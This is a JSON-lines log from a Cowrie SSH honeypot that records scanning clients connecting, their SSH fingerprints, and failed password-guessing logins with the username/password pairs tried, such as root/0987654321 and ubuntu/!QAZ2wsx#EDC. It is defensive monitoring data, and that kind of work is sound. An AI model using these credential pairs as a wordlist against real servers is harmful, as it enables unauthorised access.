{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:23:59.293211Z","src_ip":"202.4.106.201","session":"aad09f1da0e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iitmaapuser","password":"iitmaapuser","message":"login attempt [iitmaapuser/iitmaapuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:00.450643Z","src_ip":"202.4.106.201","session":"aad09f1da0e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:01.736538Z","src_ip":"202.4.106.201","session":"aad09f1da0e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":26130,"dst_ip":"159.203.135.109","dst_port":22,"session":"46934ed2f167","protocol":"ssh","message":"New connection: 159.223.45.177:26130 (159.203.135.109:22) [session: 46934ed2f167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:03.027621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:05.260592Z","src_ip":"159.223.45.177","session":"46934ed2f167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:05.264529Z","src_ip":"159.223.45.177","session":"46934ed2f167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36316,"dst_ip":"159.203.135.109","dst_port":22,"session":"8157d673d2df","protocol":"ssh","message":"New connection: 122.168.114.167:36316 (159.203.135.109:22) [session: 8157d673d2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:08.352290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:10.636481Z","src_ip":"122.168.114.167","session":"8157d673d2df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:10.640554Z","src_ip":"122.168.114.167","session":"8157d673d2df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":37276,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1b5ee18600f","protocol":"ssh","message":"New connection: 103.182.132.154:37276 (159.203.135.109:22) [session: d1b5ee18600f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:13.913063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:13.917650Z","src_ip":"103.182.132.154","session":"d1b5ee18600f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:14.127566Z","src_ip":"103.182.132.154","session":"d1b5ee18600f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx#EDC","message":"login attempt [ubuntu/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:15.004518Z","src_ip":"103.182.132.154","session":"d1b5ee18600f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:16.218857Z","src_ip":"103.182.132.154","session":"d1b5ee18600f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:20.270192Z","src_ip":"122.168.114.167","session":"8157d673d2df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43340,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7711d165fb3","protocol":"ssh","message":"New connection: 159.203.92.129:43340 (159.203.135.109:22) [session: c7711d165fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:21.012636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:21.017180Z","src_ip":"159.203.92.129","session":"c7711d165fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:21.021893Z","src_ip":"159.203.92.129","session":"c7711d165fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ashish","password":"ashish","message":"login attempt [ashish/ashish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:21.032681Z","src_ip":"159.203.92.129","session":"c7711d165fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:22.039695Z","src_ip":"159.203.92.129","session":"c7711d165fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:23.859752Z","src_ip":"122.168.114.167","session":"8157d673d2df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:24.674391Z","src_ip":"159.223.45.177","session":"46934ed2f167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.4","message":"Connection lost after 28.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:31.405706Z","src_ip":"159.223.45.177","session":"46934ed2f167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38724,"dst_ip":"159.203.135.109","dst_port":22,"session":"42850e7401f8","protocol":"ssh","message":"New connection: 122.168.114.167:38724 (159.203.135.109:22) [session: 42850e7401f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:46.716868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:48.860778Z","src_ip":"122.168.114.167","session":"42850e7401f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:51.215665Z","src_ip":"122.168.114.167","session":"42850e7401f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:24:59.889197Z","src_ip":"122.168.114.167","session":"42850e7401f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":55354,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf397ae9ebb8","protocol":"ssh","message":"New connection: 202.4.106.201:55354 (159.203.135.109:22) [session: bf397ae9ebb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:00.607066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:00.612304Z","src_ip":"202.4.106.201","session":"bf397ae9ebb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:00.895906Z","src_ip":"202.4.106.201","session":"bf397ae9ebb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcdefgh12345","message":"login attempt [ubuntu/abcdefgh12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:02.077619Z","src_ip":"202.4.106.201","session":"bf397ae9ebb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:03.372042Z","src_ip":"202.4.106.201","session":"bf397ae9ebb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:04.140088Z","src_ip":"122.168.114.167","session":"42850e7401f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":64996,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e213ac74034","protocol":"ssh","message":"New connection: 159.223.45.177:64996 (159.203.135.109:22) [session: 9e213ac74034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:06.596970Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38532,"dst_ip":"159.203.135.109","dst_port":22,"session":"f81cafc94b98","protocol":"ssh","message":"New connection: 159.203.92.129:38532 (159.203.135.109:22) [session: f81cafc94b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:06.930543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:06.951432Z","src_ip":"159.203.92.129","session":"f81cafc94b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:06.961191Z","src_ip":"159.203.92.129","session":"f81cafc94b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ashkan","password":"ashkan","message":"login attempt [ashkan/ashkan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:07.009675Z","src_ip":"159.203.92.129","session":"f81cafc94b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:08.018704Z","src_ip":"159.203.92.129","session":"f81cafc94b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:10.350220Z","src_ip":"159.223.45.177","session":"9e213ac74034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":54906,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d3d5452ba85","protocol":"ssh","message":"New connection: 103.182.132.154:54906 (159.203.135.109:22) [session: 1d3d5452ba85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:14.243116Z"}
